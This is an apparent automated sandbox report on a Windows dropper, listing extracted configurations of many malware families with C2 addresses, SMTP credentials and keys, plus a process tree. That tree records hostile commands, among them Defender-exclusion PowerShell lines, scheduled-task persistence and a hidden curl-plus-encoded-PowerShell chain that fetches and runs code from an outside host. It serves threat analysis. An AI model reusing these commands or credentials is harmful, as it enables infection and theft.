Resubmissions
27/09/2026, 14:21
260927-rn8hns1yhz1015/09/2026, 11:13
260915-nbjf8sgj9y13/09/2026, 12:17
260913-pfz58aba391011/09/2026, 14:17
260911-rltazathnb11/09/2026, 14:10
260911-rgr74sw1hv1007/09/2026, 14:52
260907-r8tv1sxvat06/09/2026, 18:39
260906-xarwnaysdx1006/09/2026, 18:38
260906-xadn2azgqc06/09/2026, 16:17
260906-trmfqaxgkf1006/09/2026, 16:09
260906-tl37aaxfma10Analysis
- user interaction
yes - max time kernel
67s - max time network
304s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
30/08/2026, 01:30
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample260830-bwtfqaab28
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Credentials
-
Protocol
smtp
-
Host
mail.duzcesimgeotomotiv.com
-
Port
587
-
Username
-
Password
Qwert1453!81+
Extracted
Family
-
xworm
Version
-
5.0
C2
-
155.103.69.171:1122
-
217.195.153.81:50000
Mutex
-
U3dUcfZQCoVMcpk3
Attributes
-
install_file
USB.exe
aes.plain
aes.plain
Extracted
Family
-
svcstealer
C2
-
http://196.251.107.186/acovp/post.php
-
http://192.162.199.186/usovp/post.php
-
http://196.251.107.163/bioxp/post.php
Attributes
-
build_id
SlLoaded
-
srv_delay
1
-
srv_retry
1
Extracted
Family
-
stealc
C2
-
http://91.92.242.73
rc4.plain
Extracted
Family
-
amadey
Version
-
5.80
C2
-
http://196.251.107.248
Attributes
-
install_dir
96a2578040
-
install_file
Yoyotvinm.exe
-
strings_key
f7a2b3543f3c4ed94d892e4efc544f8a
-
url_paths
/kont2rt/index.php
rc4.plain
Extracted
Family
-
njrat
Version
-
Njrat 0.7 Golden By Hassan Amiri
Botnet
-
HacKed
C2
-
62.60.226.185:6000
Mutex
-
Windows Update
Attributes
-
reg_key
Windows Update
-
splitter
|Hassan|
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
62.60.226.185:6003
Mutex
-
4b633808-0fa3-4ed7-889c-40069c4990ed
Attributes
-
encryption_key
B85AB05112C6848CCF2DD6889903E1268CDC6A75
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
phantom_stealer
Version
-
v3.5.0
Mutex
-
1YA6UHTISPAQ669J8KKQ
Attributes
-
anti_analysis
0
-
cb_enables_ssl
0
-
debug
0
-
keylogger
1
-
start_delay
0
-
startup
1
Extracted
Family
-
vipkeylogger
Credentials
-
Protocol
smtp
-
Host
mail.irdem.com.tr
-
Port
587
-
Username
-
Password
5t37wTu5?
-
Email to
Extracted
Family
-
ratonrat
Version
-
Professional
C2
-
16.170.169.119:8080
Mutex
-
GPMEaht28D0drQKjxak6e0p
Attributes
-
assist
false
-
box
false
-
box_icon
Error
-
box_msg
I'm the message box description
-
box_title
Hello World
-
defender
false
-
delay
0
-
hide_file
false
-
open_website
false
-
process_critical
false
-
raw
silly21
-
reconnect
3
-
startup
true
-
tag
Infected
-
uac
false
-
vm
false
-
website
https://t.me/example
Signatures
- Family: Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: RatonRAT
RatonRAT is an information stealer written in C#.
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Family: Stealc
Stealc is an infostealer written in C++.
- Family: StormKitty
StormKitty is an open source info stealer written in C#.
- Family: SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Family: njRAT/Bladabindi
Widely used RAT written in .NET.
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication 30 IoCs
Network activity triggered a Suricata alert
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication 25 IoCs
Network activity triggered a Suricata alert
- Detect SalatStealer payload 5 IoCs
- Detect Xworm Payload 2 IoCs
- Detects Amadey x86-bit Payload 4 IoCs
- Detects PhantomStealer written in C# 3 IoCs
- Detects RatonRAT payload 1 IoCs
- Detects Stealc stealer Version 3 10 IoCs
- Formbook payload 3 IoCs
- Quasar payload 1 IoCs
- StormKitty payload 1 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 36 IoCs
Using powershell.exe command.
- Downloads MZ/PE file 46 IoCs
- Manipulates Digital Signatures 1 TTPs 6 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Disables service(s) 3 TTPs
- Executes dropped EXE 52 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Themida packer 2 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 3 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 17 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 TTPs 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- ConfuserEx .NET packer 1 IoCs
Detects ConfuserEx .NET packer.
- Drops file in System32 directory 4 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 5 IoCs
- Suspicious use of SetThreadContext 7 IoCs
- UPX packed file 17 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Costura .NET executable packer 2 IoCs
Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.
- Launches sc.exe 18 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 5 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 14 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 6 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 23 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 3 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 3 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- Kills process with taskkill 3 IoCs
- Modifies registry class 21 IoCs
- Modifies system certificate store 2 TTPs 6 IoCs
- Runs .reg file with regedit 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 49 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 50 IoCs
- Suspicious use of SendNotifyMessage 42 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"3⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe5⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\XWormyu.exeXWormyu.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\XWormyu.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XWormyu.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\XWormyu.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_9ee922bfbf2c4a54a5db17835beb8c97.cs"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6CFF.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC481D18C2586D431E967D77B822457849.TMP"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\XWormyu.exe"C:\Users\Admin\AppData\Local\Temp\XWormyu.exe" 36605⤵
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\XWormyu.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_ba094b65ee314d889b0a32ec21f916ce.cs"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\binyu.exebinyu.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\AppData\Local\Temp\a\remcos_a.exeremcos_a.exe4⤵
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\clpr11.execlpr11.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\a\client.execlient.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Logon_Init" /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" /SC ONLOGON /RL HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Health_Audit" /TR "'C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe' --disk-diag-svc" /SC MINUTE /MO 5 /RL HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\clpmem.execlpmem.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\payload.exepayload.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\31a7d3904771f48a\ScreenConnect.ClientSetup.msi"5⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\64bitxxblessings.exe64bitxxblessings.exe4⤵
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File mmmcrypted.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "4652" "2216" "1664" "2220" "0" "0" "2224" "0" "0" "0" "0" "0"5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File UGNcrypted.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5232" "2216" "2140" "2220" "0" "0" "2224" "0" "0" "0" "0" "0"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\QW1.exeQW1.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\AseMKIic.exeAseMKIic.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /xml "C:\Users\Admin\AppData\Local\Temp\MsEdgeUpdate.xml" /tn "\Users\Admin\WindowsPushNotifSvc" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_6bbb893ae4adfb7c.exefile_6bbb893ae4adfb7c.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\a\QW1.exeQW1.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\clpr6.execlpr6.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 2Kcrypted.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5756" "2140" "2076" "2144" "0" "0" "2148" "0" "0" "0" "0" "0"5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c 2.bat4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "cmd /c 'curl --ssl-no-revoke https://cqintzfep6rw6jc9.public.blob.vercel-storage.com/npm.zip -o C:\Users\Admin\AppData\Local\Temp\npm.zip && powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA== && cd C:\Users\Admin\AppData\Local\Temp\node && node 1.d'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "curl --ssl-no-revoke https://cqintzfep6rw6jc9.public.blob.vercel-storage.com/npm.zip -o C:\Users\Admin\AppData\Local\Temp\npm.zip && powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA== && cd C:\Users\Admin\AppData\Local\Temp\node && node 1.d"6⤵
- Executes a command shell one-liner
-
C:\Windows\system32\curl.execurl --ssl-no-revoke https://cqintzfep6rw6jc9.public.blob.vercel-storage.com/npm.zip -o C:\Users\Admin\AppData\Local\Temp\npm.zip7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA==7⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.5.3.9691\e0b8c0354aab5ca4\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe"5⤵
- Manipulates Digital Signatures
- Badlisted process makes network request
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File VHLcrypted.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7448 -s 8206⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7448 -s 8206⤵
- Program crash
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9552 -s 8206⤵
- Program crash
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13288 -s 8206⤵
- Program crash
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13156 -s 8206⤵
- Program crash
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11668 -s 8206⤵
- Program crash
-
-
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5856" "2324" "2236" "2328" "0" "0" "2332" "0" "0" "0" "0" "0"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\2.7.exe2.7.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xn5vr47c.exe"C:\Users\Admin\AppData\Local\Temp\xn5vr47c.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\support.client.exesupport.client.exe4⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"5⤵
- Modifies registry class
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\clp4.execlp4.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\file.exefile.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\a\odens.exeodens.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\RuntimeBroker.exeC:\Users\Admin\AppData\Roaming\RuntimeBroker.exe5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe6⤵
-
-
C:\Program Files\Google\Chrome\Application\RuntimeBroker.exe"C:\Program Files\Google\Chrome\Application\RuntimeBroker.exe" -6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\RuntimeBroker.exe"C:\Program Files (x86)\Microsoft\Edge\Application\RuntimeBroker.exe" -6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\GitHub.exeGitHub.exe4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\uniform_4.44_INSTALL.exeuniform_4.44_INSTALL.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-M95MVX1MOV.tmp\uniform_4.44_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-M95MVX1MOV.tmp\uniform_4.44_INSTALL.tmp" /SL5="$1038C,3709115,898560,C:\Users\Admin\AppData\Local\Temp\a\uniform_4.44_INSTALL.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exeNotepad.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_274601599365ef96.exefile_274601599365ef96.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Microsoft\updater_okPzNPpL.exeC:\Users\Admin\AppData\Local\Microsoft\updater_okPzNPpL.exe5⤵
- Executes dropped EXE
-
C:\Windows\system32\getmac.exe"getmac" /fo csv /nh6⤵
-
-
